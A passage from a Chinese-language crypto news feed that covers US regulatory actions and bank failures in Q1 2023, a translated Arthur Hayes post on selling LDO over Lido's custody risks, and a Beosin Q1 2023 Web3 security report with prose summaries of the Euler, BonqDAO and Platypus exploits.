Exchange Network”(SEN）实时支付系统。该系统使虚拟资产交易所、机构和客户能够进行虚拟货币与法定货币的兑换。随着虚拟资产行业的发展，Silvergate Bank 于 2019 年 11 月，以 13 美元的股价登陆纽交所。 2022 年底，随着虚拟资产价格下跌，以及许多虚拟资产交易所和借贷机构的崩盘，人们开始担心存款损失和信用风险敞口对 Silvergate Bank 的潜在影响，以及 Silvergate Bank 对更广泛的虚拟资产行业的潜在影响。2022 年 11 月 FTX 崩盘，导致 Silvergate Bank 对 FTX 有超过 10 亿美元的风险敞口。更严重的是，FTX 的崩盘造成了严重的“银行挤兑”，Silvergate Bank 处理了超过 81 亿美元提款，为了满足大量提款，Silvergate Bank 被迫承受了巨额折价亏损而紧急出售大约 52 亿美元的资产，并从美国联邦住房贷款银行获得了 43 亿美元的贷款。根据 Silvergate Bank 2022 年第四季度财报显示，其管理的客户存款暴跌至 38 亿美元，远低于第三季度的 119 亿美元，并且产生了近 10 亿美元的损失。 2023 年 3 月8 日，Silvergate Bank 在提交给 SEC 的文件中表示，将根据适用的监管程序结束运营并自愿清算 Silvergate Bank。[18]“该银行的清算计划包括全额偿还所有存款，并考虑如何最好地解决索赔并保留其资产的剩余价值，包括其专有技术和税收资产。”随后，Silvergate Bank 被联邦存款保险公司（FDIC）接管。 2023 年 3 月 10 日，在美联储加息的背景下，短暂经历了 48 小时的银行挤兑，就造成了硅谷银行（Silicon Valley Bank, SVB）（在美国有着 40 年历史的第 16 大银行）严重的流动性问题，而被 FDIC 接管。这是美国历史上继 2008 年华盛顿互助银行（Washington Mutual）倒闭之后、规模第二大的银行倒闭事件。2023 年 3 月 12 日，财政部、美联储和 FDIC 发布联合声明，表示经协商后，同意通过 FDIC 以充分保护所有储户的方式完成其对硅谷银行救助，从 3 月 13 日星期一开始，储户将可以使用、取回他们所有的钱，与硅谷银行的决议相关的损失不会由纳税人承担。[19] 由于受硅谷银行的影响，2023 年 3 月 12 日，美国财政部、美国联邦储备委员会和 FDIC 发布联合声明，以“系统性风险”为由宣布关闭加密友好银行 Signature Bank，防止银行业危机持续蔓延；[20] 同时，NYDFS 任命 FDIC 为接管人，负责处置 Signature Bank的资产，尽管当时 Signature Bank 已从硅谷银行的影响中恢复，并持有良好的资产负债表。 美国银行监管机构（联邦层面为美国货币监理署 OCC，州层面为州金融监管机构，如 NYDFS）有权因其下属银行经营不善，或资不抵债的原因，撤销其营业许可。当银行停止经营后，联邦存款保险公司（Federal Deposit Insurance Corporation, FDIC）会被任命为问题银行的管理人或接管人（其在银行的纾困或清算过程中扮演不可或缺的角色），保护储户的存款并尽量减低银行停业对于整体金融系统的负面影响。 Silvergate Bank 以及 Signature Bank 两家加密友好银行的关闭，导致虚拟资产行业回到了多年之前虚拟资产无正式银行账户的日子，因为任何新成立的公司都没有机会马上获得银行牌照。 （from Crypto’s Last Stand in the US: USDC, Silvergate, Silicon Valley and Signature Banks Collapse in One Week） 10.SEC 指控孙宇晨（Justin Sun）销售未注册证券、涉嫌欺诈和市场操控 2023年3月22日，SEC 发布公告，宣布对孙宇晨（Justin Sun）及其三家全资公司Tron Foundation Limited、BitTorrent Foundation Ltd.和Rainberry Inc.（Sun及其关联方）提出控诉。[21] 在 SEC向美国纽约南区地方法院提起的诉讼称，Sun及其关联方提供多个未注册证券的线上“赏金项目”，并发行和出售TRX和BTT，这些项目直接指引感兴趣的参与方在社交媒体上宣传推广TRX和BTT，加入或招募其他人加入Tron附属的Telegram和Discord频道，并创建BitTorrent账户以换取TRX和BTT分配。根据起诉书，这些未注册证券的发行和出售均违反了《证券法》第5条。 SEC还指控Sun策划了一项人为夸大二级市场TRX交易量的洗盘（Wash Trading）计划，涉及大量的实时购买和出售交易，使TRX看起来交易活跃，而实际受益所有权没有实际变化，这违反了美国《证券法》的反欺诈和市场操纵规定。至少从2018年4月到2019年2月，Sun指使他控制的团队在两个账户之间进行了超过60万次TRX虚假交易，平均每天有450万到740万次。Sun 还提供了大量的TRX供应，将TRX出售到二级市场，从非法、未注册的代币发行和出售中获得3100万美元的收益。此外，SEC 还指控Sun策划了一项向名人支付费用以兜售TRX和BTT的计划，并向公众隐瞒名人获取报酬的信息，造成诱导假象，违反了《证券交易法》的相关规定。 SEC主席Gary Gensler表示：“这个案例再次表明，在没有适当披露的情况下发行和出售虚拟资产证券时，投资者将面临非常高的风险。”“正如所指控的那样，Sun及其关联方不仅针对美国投资者进行未注册证券的发行和销售，还以牺牲投资者的利益为代价获得数百万的非法收益，而且他们还在未注册的虚拟资产交易平台上虚假交易，以制造活跃交易的误导性表象。Sun通过策划一场名人促销活动进一步诱使投资者购买TRX和BTT，在促销活动中，他和名人们隐瞒了推广付费的事实。” “虽然我们对有争议的技术持中立态度，但在投资者保护方面，我们绝不是中立的，”SEC执法部主任Gurbir S. Grewal说，“正如投诉中所称，Sun及其关联方使用一个古老的剧本来误导和伤害投资者，首先在不遵守注册和披露要求的情况下发售证券，然后操纵这些证券的市场。与此同时，Sun向在社交媒体上拥有数百万粉丝的名人支付费用，以宣传未注册证券的产品，同时特别指示他们不要透露他们的报酬。这正是美国《证券法》旨在防止的行为。”[22] （from SEC） 11.白宫的年度经济报告为虚拟资产行业带来负面影响 2023 年 3 月 22 日，在白宫的 2023 年总统经济报告（Economic Report of the President）[23] 中，首次提及虚拟资产，称区块链技术推动了金融创新，带动了虚拟资产的兴起。但同时，报告列举了虚拟资产的诸多负面作用，抨击虚拟资产没用处、没价值。虚拟货币不具有价值存储功能，也不是有效的支付工具。 " 尽管倡导者经常声称虚拟资产是一种革命性的创新，但这些资产的设计经常反映出对几个世纪以来在经济和金融领域学到的基本经济原则的无知，这种不充分的设计往往不利于消费者和投资者。”虚拟资产同时被宣称为“货币”和“投资工具”，这也存在冲突。作为货币，这种工具应该具有稳定的价值，表现出有限的价格波动。但作为一种高风险资产，它应该经历价格波动，投资人才能获得高预期回报，而当资产的风险越高，它就越不可能有效地充当货币。 2023 年 3 月 27 日，美国商品期货交易委员会（CFTC）发布公告称，其已向美国伊利诺伊州北区地方法院提起民事诉讼，指控 CZ 和其运营 Binance 平台的三个实体多次违反《商品交易法》（CEA）和 CFTC 的规定。同时，CFTC 还指控 Binance 前首席合规官 Samuel Lim 协助和教唆 Binance 进行违规操作。[24] 根据起诉书，从 2019 年 7 月至今，Binance 向美国人提供和执行虚拟资产衍生品交易（尽管屏蔽美国 IP 地址），在 CZ 的指导下，Binance 指示其员工和客户通过规避合规控制（包括通过 VPNs、设立壳公司等手段），故意逃避美国法律，通过不透明的方式开展业务，无视 CEA 和 CFTC 的规定，同时有计划地进行监管套利以谋取商业利益。[25] CFTC 指控 Binance 这样在美提供虚拟资产衍生品服务的实体，应向 CFTC 注册为期货佣金商 (Futures Commission Merchants, FCM) 以承担类似于 KYC 等合规义务，并执行旨在防止和侦查恐怖主义融资和洗钱活动的基本合规要求。根据 Binance 开展的衍生品交易业务，还应向 CFTC 注册为指定合约市场（Designated Contract Market, DCM）或掉期执行机构（Swap Execution Facility, SEF）。而 Binance 从未向 CFTC 进行任何注册。 因此，CFTC 通过民事诉讼的形式指控 CZ 及其关联方违反了有关期货交易、非法场外大宗商品期权、未注册为期货佣金商，或指定合同市场，或掉期执行机构的相关法律法规，并且疏于监管、未实施 KYC 或反洗钱流程，以及制定不合格的合规计划等，向法院寻求对 CZ 及其关联方的民事处罚和永久性的交易和注册禁令。 CFTC 主席 Rostin Behnam 表示：“今天的执法行动表明，没有任何地区，或声称没有管辖权的地区，可以阻止 CFTC 保护美国投资者。我已经明确表示，CFTC 将继续使用其所有权力来发现和制止在动荡和高风险的虚拟资产行业中的不当行为……多年来，Binance 明知他们违反了 CFTC 法规，但仍积极开展工作以保持资金流动并避免合规。这应该是对虚拟资产世界中所有人的警告，即 CFTC 不会容忍故意规避美国法律的行为。” （from Binance） 总结 在行业黑天鹅频发，国会立法遥遥无期的背景下，2023 年 Q1 的美国虚拟资产行业监管依旧是以 SEC 为代表的金融监管机构，通过“Regulation by Enforcement”的形式对市场进行规范。 SEC 一直以保护投资者利益，维护证券市场的公平有序运作为目的为出发点，规范整个虚拟资产行业。Gary Gensler 在 2022 年 8 月的工作视频“What Are Crypto Trading Platforms?”[26] 中，就谈到 SEC 对虚拟资产市场的监管思路： （1）以良好运行了 90 年的美国《证券法》为基础，保护投资者的利益。这就是我们看到 SEC 拼命地将所有虚拟资产归为证券，并在几乎所有的执法行动中的第一句话就是：“XXX 发行和出售未注册证券。”的原因。我们可以看到 SEC 在 1 月份从 FTX 等平台的崩盘余波中回过神之后，以其审查部门发布的 2023 年优先工作任务为指引，展开了新一轮更加严厉的监管执法行动，其中就涉及了 Genesis、Kraken、Paxos、Terraform Labs、Coinbase、Justin SUN 等这些行业巨鳄。 （2）需要将虚拟资产交易所拆分（如将做市交易业务与托管业务拆分），避免出现利益冲突，监守自盗的情形。这在 FTX 事件中体现得淋漓尽致，所以就有了后续 SEC 的虚拟资产托管新规（提案）。这点可以参考大萧条背景下的 1933 Glass SteagallAct（将银行的投资银行业务和商业银行业务严格地划分开，以规避投行业务带来的风险），以及次贷危机背景下的 2010 Dodd Frank Act（拆分大金融机构的投机性自营交易，加强对金融衍生品的监管，以防范系统性金融风险）。 虽然我们也看到 CFTC 在 Q1 末针对 Binance 的执法行动，但是 CFTC 依然只是在做其分内之事——衍生品交易的市场规范以及注册合规。这里依然存在一个监管的真空地带，如果说虚拟资产都让CFTC来管，虽然 CFTC有能力监管现货市场上的欺诈和市场操纵等行为，但是CFTC没有能力对不涉及保证金、杠杆或融资的现货交易行为进行监管。如果说让SEC来管，那么SEC只有在认定虚拟资产为证券的前提下才能行使其管辖权，在这个高标准下才会衍生出涉及证券的欺诈、操纵市场。所以说，在没有统一虚拟资产监管法案的背景下，以 SEC 为代表的“Regulation by Enforcement”式监管，可能还要持续很长一段时间。 但是，就像 Coinbase 在收到 SEC 威尔斯通知（Wells Notice）之后所说的那样：“美国虚拟资产行业需要更多的是指引，而非执法。”[27]   ——END—— 本文仅供学习、参考，希望对您有所帮助，不构成任何法律、投资意见，not your lawyer，DYOR。 REFERENCE: [1] NYDFS: Consent Order Issued to Coinbase, Inc. https://www.dfs.ny.gov/system/files/documents/2023/01/ea20230104_coinbase.pdf [2] Coinbase and NYDFS reach agreement to resolve compliance investigation https://www.coinbase.com/blog/Coinbase-and-NYDFS-reach-agreement-to-resolve-compliance-investigation [3] SEC Charges Genesis and Gemini for the Unregistered Offer and Sale of Crypto Asset Securities through the Gemini Earn Lending Program https://www.sec.gov/news/press-release/2023-7 [4] An Open Letter to the Board of Digital Currency Group https://assets.ctfassets.net/jg6lo9a2ukvr/7iwDdJ1D88ZUVCqVJzocDL/394114442846c3daccc7b05978e267e0/2023-01-10_-_Gemini_-_Open_Letter_to_DCG_Board.pdf [5] SEC Division of Examinations Announces 2023 Priorities https://www.sec.gov/news/press-release/2023-24 [6] SEC, Kraken to Discontinue Unregistered Offer and Sale of Crypto Asset Staking-As-A-Service Program and Pay $30 Million to Settle SEC Charges https://www.sec.gov/news/press-release/2023-25 [7] NYDFS, Guidance on the Issuance of U.S. Dollar-Backed Stablecoins https://www.dfs.ny.gov/industry_guidance/industry_letters/il20220608_issuance_stablecoins [8] Paxos Will Halt Minting New BUSD Tokens https://paxos.com/2023/02/13/paxos-will-halt-minting-new-busd-tokens/ [9] Crypto firm Paxos to face SEC charges, ordered to stop minting Binance stablecoin https://www.cnbc.com/2023/02/13/paxos-ordered-to-cease-minting-binance-stablecoin-by-new-york-regulator.html [10] Paxos Issues Statement https://paxos.com/2023/02/13/paxos-issues-statement/ [11] Bloomberg, Stablecoin Issuer Circle Warned Watchdog About Binance Token https://news.bloomberglaw.com/securities-law/stablecoin-issuer-circle-warned-ny-watchdog-about-binance-token [12] SEC Proposes Enhanced Safeguarding Rule for Registered Investment Advisers https://www.sec.gov/news/press-release/2023-30 [13] Gary Gensler, Statement on Proposed Rules Regarding Investment Adviser Custody https://www.sec.gov/news/statement/gensler-statement-custody-021523 [14] Anchorage Trust Company Convert to a National Trust Bank https://www.occ.gov/news-issuances/news-releases/2021/nr-occ-2021-6a.pdf [15] SEC Charges Terraform and CEO Do Kwon with Defrauding Investors in Crypto Schemes https://www.sec.gov/news/press-release/2023-32 [16] Uath, H.B. 357 Decentralized Autonomous Organizations Amendments https://le.utah.gov/~2023/bills/static/HB0357.html [17] Slivergate SEC Filing https://ir.silvergate.com/sec-filings/default.aspx [18] Slivergate, FORM 8-K，03/08/2023 https://ir.silvergate.com/sec-filings/sec-filings-details/default.aspx?FilingId=100117321969 [19] Silicon Valley Bank, Joint Statement by Treasury, Federal Reserve, and FDIC https://www.federalreserve.gov/newsevents/pressreleases/monetary20230312b.htm [20] Signature Bank, Joint Statement by the Department of the Treasury, Federal Reserve, and FDIC https://www.fdic.gov/news/press-releases/2023/pr23017.html [21] SEC Charges Crypto Entrepreneur Justin Sun and his Companies for Fraud and Other Securities Law Violations https://www.sec.gov/news/press-release/2023-59 [22] SEC v. Justin Sun, et al. https://downloads.coindesk.com/legal/justin.PDF [23] Economic Report of the President https://www.whitehouse.gov/wp-content/uploads/2023/03/ERP-2023.pdf [24] CFTC Charges Binance and Its Founder, Changpeng Zhao, with Willful Evasion of Federal Law and Operating an Illegal Digital Asset Derivatives Exchange https://www.cftc.gov/PressRoom/PressReleases/8680-23 [25]Commodity Futures Trading Commission v. Zhaoet al https://www.courtlistener.com/docket/67092867/1/commodity-futures-trading-commission-v-zhao/ [26]Office Hours with Gary Gensler: What Are Crypto Trading Platforms? https://www.sec.gov/news/sec-videos/office-hours-gary-gensler-what-are-crypto-trading-platforms [27]We asked the SEC for reasonable crypto rules for Americans. We got legal threats instead. https://www.coinbase.com/blog/we-asked-the-sec-for-reasonable-crypto-rules-for-americans-we-got-legal  ( 15 min )
    香港贸发局副总裁：若Web3能解决香港中小企业痛点，贸发局将非常愿意合作
    PANews 4月12日消息，在今日举行的Web3香港嘉年华峰会上，香港贸易发展局副总裁刘会平表示，香港的经济包括三个圈层，即贸易和制造业、物流、金融和资本市场、数码经济，Web3也能够助力之前两个圈层的成绩，成为领先者。我建议Web3接下来的发展应该有帮助到实体经济，能够帮助到金融市场、资本市场，这样也会对Web3有更多的推进和助力。 刘会平称，在过去三年里，香港中小企业也是香港贸发局主要服务对象，这些中小企业受到疫情极大的冲击，他们的业务受到很多影响，如果Web3能够帮助到中小企业解决痛点的话，你们马上就能够切入到香港经济的98%，因为香港经济98%都是由中小企业组成的，这里的潜力是巨大的。Web3能够更好地保护隐私，能够更好地管理跨境支付，能够更好地管理很多追踪，所有这些技术都能够帮助中小企业业务开展更加顺畅，也能够帮助他们做好交易的记账、账本记录、客户管理、供应链管理，包括融资、借贷上都能够帮助到中小企业，智能合约在这方面大有作为。如果你们能够开发出这样的解决方案，我所在的香港贸发局非常愿意跟你们合作，听取你们的建议。因为香港贸发局的宗旨是帮助中小企业，尤其是疫情后的艰难时期。 刘会平强调，贸发局非常愿意帮助中小企业更好地理解Web3带给他们的机会，也敦促他们拥抱更多的解决方案，无论是硬件的，还是软件的。  ( 1 min )
    Arthur Hayes：囤了那么久的$LDO，我为何全部亏本抛售？
    最近，加密研究员 Thor Hartvigsen 总结了过去 30 天内一些知名风险投资基金、大型投资者以及交易员在加密货币市场上的活动。这些活动涉及多种数字资产，包括 $GNS、$DYDX、$GMX、$RDNT、$DPX、$ARB、$LDO、$ETH、$BTC、$MATIC 和 $AAVE 等。（详见深潮 TechFlow 编译的《浅析巨鲸和 VC 的链上动态与 Token 价格波动的联系》） 其中提到，BitMEX 联创、交易爱好者 Arthur Hayes 在 2022 年期间以 2.53 美元的平均价格购买了 758,000 个 $LDO（Lido Finance 的原生代币），但却在今年 3 月以 2.42 美元的价格将其全部亏本抛售。 不过，关于他购入 $LDO 的平均价格，也有人说是 2.26 美元或 2.35 美元，有可能是小小地获利了一笔。 Shapella 升级（上海升级+Capella 升级）即将到来，在此之后，质押的 $ETH 可以赎回，而用户参与质押的意愿增强也会推动质押率的上升，可以预见以太坊 LSD （流动性质押衍生品）赛道规模将继续扩大。 Arthur Hayes 此前曾多次表达了对以太坊合并、LSD 赛道以及龙头项目 Lido 的看好，那么为什么抛售掉持有了半年的 $LDO 呢？ 今天，他在博文中给出了答案，白泽研究院编译： 去年 12 月，我推出了我的加密家族办公室基金 Maelstrom Fund。我聘请了 BitMEX 的前企业发展主管 Akshat Vaidya，在世界各地寻找值得投资的加密项目。我们的目标是投资早期项目，这些项目将比仅持有 $BTC 和 $ETH 带来超额回报。 接下来，Akshat 每隔一段时间就会为读者提供他非常兴奋的加密赛道的思考。显然，我们是在自掏腰包，但我们也想努力让市场了解“为什么这些项目试图解决的问题对于进一步去中心化的目标很重要”。最终，我们希望帮助这些团队彻底摧毁腐臭的 TradFi 金融系统——啊哈！我的意思是，提供一个替代方案。 以下的文章谈到了以太坊网络验证者的去中心化运动。这个领域非常令人兴奋，我过去通过在我的投资组合中增持 $ETH 和 $LDO 表达了对以太坊合并的看涨观点。不过，在我的内心深处，我一直担心 Lido 的去中心化程度不够，一旦市场开始关注这一点，代币就会暴跌。在 Akshat 投资了 Obol 和 ether.fi 并解释了他这样做的理由之后，我知道是时候抛售我的 $LDO 了。 自从我进入加密行业以来，“Not your keys, not your crypto”一直是行业的座右铭。但交易员、投资者，甚至创始人和知名基金经理一次又一次搞砸这件事，太多的人一次又一次地重复同样的错误，失去了他们对私钥的控制——导致价值数十亿美元的资金丢失或被盗（从 Mt. Gox 到 FTX，以及介于两者之间的一切）。 在 DeFi Summer（大约 2020 年）之前，投资者通常会在资金管理不善或具有欺诈性的 CeFi 交易所中损失资金。 但是在 2021-2022 年，这个问题再次以一种新的方式出现了——许多所谓的“去中心化”（但最终仍是托管的）跨链桥受到黑客损害，损失总计超过 25 亿美元。 考虑到区块链固有的属性，我们失去对私钥的控制——无论是在 CeFi 还是“去中心化的”实体——并不是我们任何人都应该做出的妥协。然而，我们已经来到了 2023 年，在我们对简单的 $ETH 质押奖励的渴望中，危险的火苗再次出现。 后 DeFi Summer 时代，我们开始期待我们的加密货币的收益率——尤其是我们的 $ETH，考虑到最近美联储加息，现在更是如此。 然而，由于设置验证器仍然很困难，投资者们发现自己被迫做出了一个选择，要么使用危险的托管服务，要么干脆闲置他们的 $ETH。 令人担忧的是，许多人选择了前者，将他们的私钥委托给以下机构： 1）完全中心化的服务，如 Coinbase、Kraken 和 Binance； 2 ）早期去中心化 ETH LSD 协议，例如 Lido Finance。 ​公平地说，这些托管服务或协议是通往去信任化、去中心化 $ETH 质押的未来的重要垫脚石。然而，他们也优先考虑上市速度，但代价是让利益相关者面临潜在的节点运营商风险、监管风险和安全风险。 幸运的是，这个选择即将结束。上海升级（Shapella升级）将在接下来的 24 小时内实施，这将允许质押者首次提取质押的 $ETH（每天提取质押 ETH 总量的 0.4%）。超过 1800 万个 $ETH（约占流通量的 15%，价值数百亿美元）即将摆脱前面提到的高风险托管业务模式的束缚。 就现有的 $ETH 质押服务市场份额而言，这些服务商或协议的损失最大，并且可能从未来几年即将质押的数千万 $ETH 中获益最少。 其中，Lido——最大和第一个去中心化 LSD 协议——可能是其中最大的、滴答作响的定时炸弹。 让我们来了解一下 Shapella升级将如何打破 Lido 的 $ETH 质押市场主导地位： Lido 占锁定在 LSD 协议中的所有 $ETH 的约 75%，占 $ETH 质押总量的约 30%，它基本上建立在验证者对节点运营商的可信度的信念之上： 验证者存入 $ETH，但节点运营商没有贡献（不像 Rocketpool 的模型，节点运营商为每个验证者贡献 32 个 ETH 中的 16 个）； 节点运营商生成密钥（包括 BLS 私钥和验证者密钥），而不是质押者，并在自愿的基础上执行质押 $ETH 的赎回过程； 这意味着，验证者没有对他们的 $ETH 或质押奖励的直接要求权，有的只是对协议本身生成的假设资产池（类似于跨链桥 Wormhole 的商业模型，去年被黑客攻击） 需要明确的是——Lido 之所以有效，是因为节点运营商选择了合作。 如果节点运营商出于某种原因不愿意或无法退出他们的验证器（以便为你赎回 $ETH 和质押奖励），那么你就有麻烦了。当然，Lido 已经采取了一些有意义的措施来降低重大事件的风险——例如黑客破坏验证器密钥，或监管/执法行动阻止节点运营商赎回 $ETH 从而引发市场恐慌。Lido 的整个赎回过程只会在 4 月 12 日 Shapella 升级之后首次进行大规模测试，因此到目前为止它是一条单行道。但无论如何，最终节点运营商可以简单地拒绝退出，有效地使“你”质押的 $ETH 在一段时间内变得缺乏流动性和不可访问，但节点运营商需要承担的下行风险有限。 简而言之：Lido 的模式（及其节点运营商的收入模式）取决于你不仅要放弃你的私钥，还要承担大部分风险。一切只为了……你宝贵资产的 4–6% 收益率。听起来有点耳熟？ 幸运的是，我们都不需要再冒这个风险了。 Lido 的架构在早期阶段可以说已经足够好了——位于执行层的取款凭证不足以使 LSD 协议成为非托管的。我们现在知道，不可能简单地创建一个智能合约控制的赎回机制作为解决方法。那么，我们将如何设计既非托管又可扩展的以太坊质押服务？ 我们于 2022 年 12 月在众多托管业务模式崩溃的废墟中推出了 BitMEX 联创 Arthur Hayes 的家族办公室基金 Maelstrom，以投资旨在修复问题的项目。 因此，我们投资于 ETH 质押基础设施项目，这些项目： 1）与上述两种风险较大的托管业务模型（完全中心化和早期去中心化）直接竞争； 2）与现有服务互补的项目，以帮助他们进一步下放权力。 Maelstrom 的首次投资是在第二个类别中，该项目既不与 Lido 也不与 Coinbases 竞争，而是利用它们来消除单点故障。Obol Labs 是我们在今年 1 月完成的一项投资，它正在帮助现有服务以及“去中心化”协议进一步去中心化。Obol 的分布式验证器技术（“DVT”）中间件允许验证器密钥在多个节点操作员之间“拆分”，有效地创建一个可以在多台机器上同时运行的“多重签名”验证器。这些多重验证者仍然作为一个与信标链的“对话”，避免了惩罚或削减，同时提高了 $ETH 质押赛道的安全性和去中心化。 另一方面，ether.fi 是我们对第二个类别的第一笔投资，该项目旨在从 Lido 和 Coinbase 的遗留托管模型中逐步演变。ether.fi 正在为以太坊构建首批真正的非托管质押协议（以及未来的其他 PoS 网络）。在后 Shapella 时代中，质押者可以自由地在多个质押服务中跳转，以追逐最高收益，最高 APY，但 ether.fi 选择在其他方面与其他协议进行竞争。使用 ether.fi，质押者在从创建到赎回的整个质押过程中生成和控制自己的密钥，并且可以随时退出验证器以收回他们的 $ETH，从而防止节点运营商渎职。很好地做到了“Your keys, Your crypto。”ether.fi 降低了各方的风险，包括不再需要保持钱包连接或依赖可信中间方进行协调的节点运营商。 放弃你对私钥的控制并不是你为了参与任何去中心化生态系统而需要做出的妥协。$ETH 质押中现有的服务和协议——无论是中心化的还是早期去中心化的——都优先考虑了上市速度。但乌云笼罩着这些参与者，因为现在有越来越多正在建设和旨在提供无需信任、真正非托管的 $ETH 质押解决方案的新项目。随着今天的 Shappela 升级，束缚终于脱落了。 风险提示： 根据央行等部门发布的《关于进一步防范和处置虚拟货币交易炒作风险的通知》，本文内容仅用于信息分享，不对任何经营与投资行为进行推广与背书，请读者严格遵守所在地区法律法规，不参与任何非法金融行为。  ( 4 min )
    2023年Q1全球Web3区块链安全态势报告
    数据图表可在此处查阅：Footprint Analytics: Crypto Analysis Dashboards 2023年第一季度，据区块链安全审计公司Beosin旗下Beosin EagleEye安全风险监控、预警与阻断平台共监测到Web3领域主要攻击事件61起，总损失金额约为2.95亿美元，较2022年第4季度下降了约77%。2023年第一季度的总损失金额低于2022年的任何一个季度。 除攻击事件外，2023年第一季度还监测到主要Rug Pull事件41起，涉及金额约2034万美元。 从月份来看，3月为攻击事件频发的一个月，总损失金额达到了2.35亿美元，占第一季度总损失金额的79.7%。 从被攻击项目类型来看，DeFi为本季度被攻击频次最高、损失金额最多的项目类型。42次安全事件总损失金额达到了2.48亿美元 ，占总损失金额的84%。 从链平台类型来看，80.8%的损失金额来自Ethereum，居所有链平台的第一位。 从攻击手法来看，本季度损失金额最高的攻击手法为闪电贷攻击，8次闪电贷事件损失约1.98亿美元；攻击手法频率最高的为合约漏洞利用，27次攻击占所有事件数量的44%。 从资金流向来看，本季度约有2亿美元的被盗资产得以追回。本季度资金追回的情况优于2022年的任何一个季度。 从审计情况来看，被攻击的项目中，仅有41%的项目经过了审计。 2023年第一季度，Beosin EagleEye安全风险监控、预警与阻断平台共监测到Web3领域主要攻击事件61起，总损失金额约为2.95亿美元。其中损失金额超过1亿美元的安全事件共1起（Euler Finance闪电贷攻击事件损失1.97亿美元）。损失1000万美元-1亿美元区间的事件2起，100万美元-1000万美元区间的事件17起。 从总体来看，第一季度攻击事件损失金额呈现逐月增加的趋势。3月为攻击事件频发的一个月，总损失金额达到了2.35亿美元，占第一季度总损失金额的79.7%。 84%的损失金额来自DeFi类型 随着长达数月的下行和多次黑天鹅事件清杠杆，加密市场触底反弹。DeFi的TVL随着币价在一季度震荡回升。 2023年第一季度，DeFi类型项目共发生42次安全事件，占总事件数量的68.9%。DeFi总损失金额达到了2.48亿美元 ，占总损失金额的84%。DeFi为本季度被攻击频次最高、损失金额最多的项目类型。 NFT类型损失金额排名第二（1852万美元），主要来自于NFT钓鱼事件。排名第三的类型为个人用户，该类别均为钓鱼攻击。损失金额的第四位为钱包攻击事件。从类型上来看，损失金额的第2-4位均和用户安全紧密相关。 2023年第一季度仅发生了1次跨链桥安全事件，损失金额为13万美元。而在2022年，12次跨链桥安全事件共造成了约18.9亿美元损失，居所有项目类型损失的第一位。在2022年跨链桥安全事件频发后，跨链桥项目的安全性在本季度得到了较大的提升。 4 各链平台损失金额情况 80.8%的损失金额来自Ethereum 2023年第一季度，Ethereum链上共发生主要攻击事件17起，损失金额约为2.38亿美元。Ethereum链上损失金额居所有链平台的第一位，占比约80.8%。 BNB Chain上监测到了最多的攻击事件，达到了31起。其总损失为1948万美元，排所有链平台损失的第二位。 损失排名第三的公链为Algorand，损失来自于MyAlgo钱包被盗事件。Algorand链在2022年没有发生过主要安全事件。 值得一提的是，2022年Solana链上损失金额排所有公链的第三位，而在本季度并未监测到主要攻击事件。 5 攻击手法分析 本季度损失金额最高的攻击手法为闪电贷，8次闪电贷事件损失约1.98亿美元，占所有损失金额的67%。 攻击手法频率最高的为合约漏洞利用，27次攻击占所有事件数量的44%。合约漏洞共造成3905万美元的损失，为所有攻击类型损失金额的第二位。 2023年第一季度，DeFi类型项目被攻击了42次，其中有22次都源于合约漏洞利用。DeFi项目方需要尤其注重合约的安全性。 按照漏洞类型细分，造成损失最多的前三名分别是业务逻辑/函数设计不当、权限问题和重入。17次业务逻辑/函数设计不当漏洞共造成了2244万美元的损失。 事件概要 3月13日，Ethereum 链上的借贷项目 Euler Finance 遭到闪电贷攻击，损失达到了 1.97 亿美元。 3月16日，Euler基金会悬赏100万美元以征集对逮捕黑客以及返还盗取资金有帮助的信息。 3月17日，Euler Labs首席执行官Michael Bentley发推文表示，Euler“一直是一个安全意识强的项目”。从2021年5月至2022年9月，Euler Finance接受了Halborn、Solidified、ZK Labs、Certora、Sherlock和Omnisica等6家区块链安全公司的10次审计。 从3月18日开始至4月4日，攻击者开始陆续返还资金。期间攻击者通过链上信息进行道歉，称自己“搅乱了别人的钱，别人的工作，别人的生活”并请求大家的原谅。 4月4日，Euler Labs在推特上表示，经过成功协商，攻击者已归还了所有盗取资金。 漏洞分析 在本次攻击中，Etoken合约的donateToReserves函数没有正确检查用户实际持有的代币数量和捐赠后用户账本的健康状态。攻击者利用这个漏洞，捐赠了1亿个eDAI，而实际上攻击者只质押了3000万个DAI。 由于捐赠后，用户账本的健康状态符合清算条件，借贷合约被触发清算。清算过程中，eDAI和dDAI会被转移到清算合约。但是，由于坏账额度非常大，清算合约会应用最大折扣进行清算。清算结束后，清算合约拥有310.93M个eDAI和259.31M个dDAI。 此时，用户账本的健康状态已恢复，用户可以提取资金。可提取的金额是eDAI和dDAI的差值。但池子中实际上只有3890万DAI，所以用户只能提取这部分金额。 6.2 BonqDAO安全事件 事件概要 2月1日，加密协议BonqDAO遭到价格操控攻击，攻击者铸造了1亿个BEUR代币，然后在 Uniswap 上将 BEUR 换成其他代币，ALBT价格下降到几乎为零，这进一步引发了 ALBT 宝库的清算。按照黑客攻击时的代币价格，损失高达8800万美元，但是由于流动性耗尽，事件实际损失在185万美元左右。 漏洞分析 本次攻击事件攻击者共进行了两种方式的攻击，一种是控制价格大量借出代币，另一种是控制价格清算他人财产从而获利。 BonqDAO 平台采用的预言机使用函数 ‘getCurrentValue’ 而不是 ‘getDataBefore’。 黑客通过质押10个TRB代币（价值仅约175美元）成为了价格报告者，并通过调用 submitValue 函数修改预言机中 WALBT 代币的价格。价格设置完成之后，攻击者调用Bonq合约的createTrove函数，创建trove合约，并向该合约中抵押了0.1个WALBT代币进行借款操作。正常来说，借款额度应该是小于0.1个WALBT的价格，从而保证抵押率维持在一个安全的范围，但是在本合约的借贷过程中，计算抵押物价值的方式是通过TellorFlex合约来进行实现的。而在上一步，攻击者已经把WALBT价格拉得异常高，导致攻击者在本次借款中，借出了1亿枚BEUR代币。 攻击者在第二笔交易中将WALBT价格设置得异常低，从而使用少量的成本将其他用户所抵押的WALBT代币清算出来。 事件概要 2月17日，Avalanche平台的Platypus Finance因函数检查机制问题遭到攻击，损失约850万美元。然而攻击者并没有在合约中实现提现功能，导致攻击收益存放在攻击合约内无法提取。 2月23日，Platypus表示，已经联系了Binance并确认了黑客身份，并表示将至少向用户偿还63%的资金。 2月26日，法国国家警察已经逮捕并传唤了两名攻击Platypus的嫌疑人。 漏洞分析 攻击原因是MasterPlatypusV4合约中的emergencyWithdraw函数检查机制存在问题，仅检测了用户的借贷额是否超过该用户的borrowLimitUSP（借贷上限），而没有检查用户是否归还债务的情况。 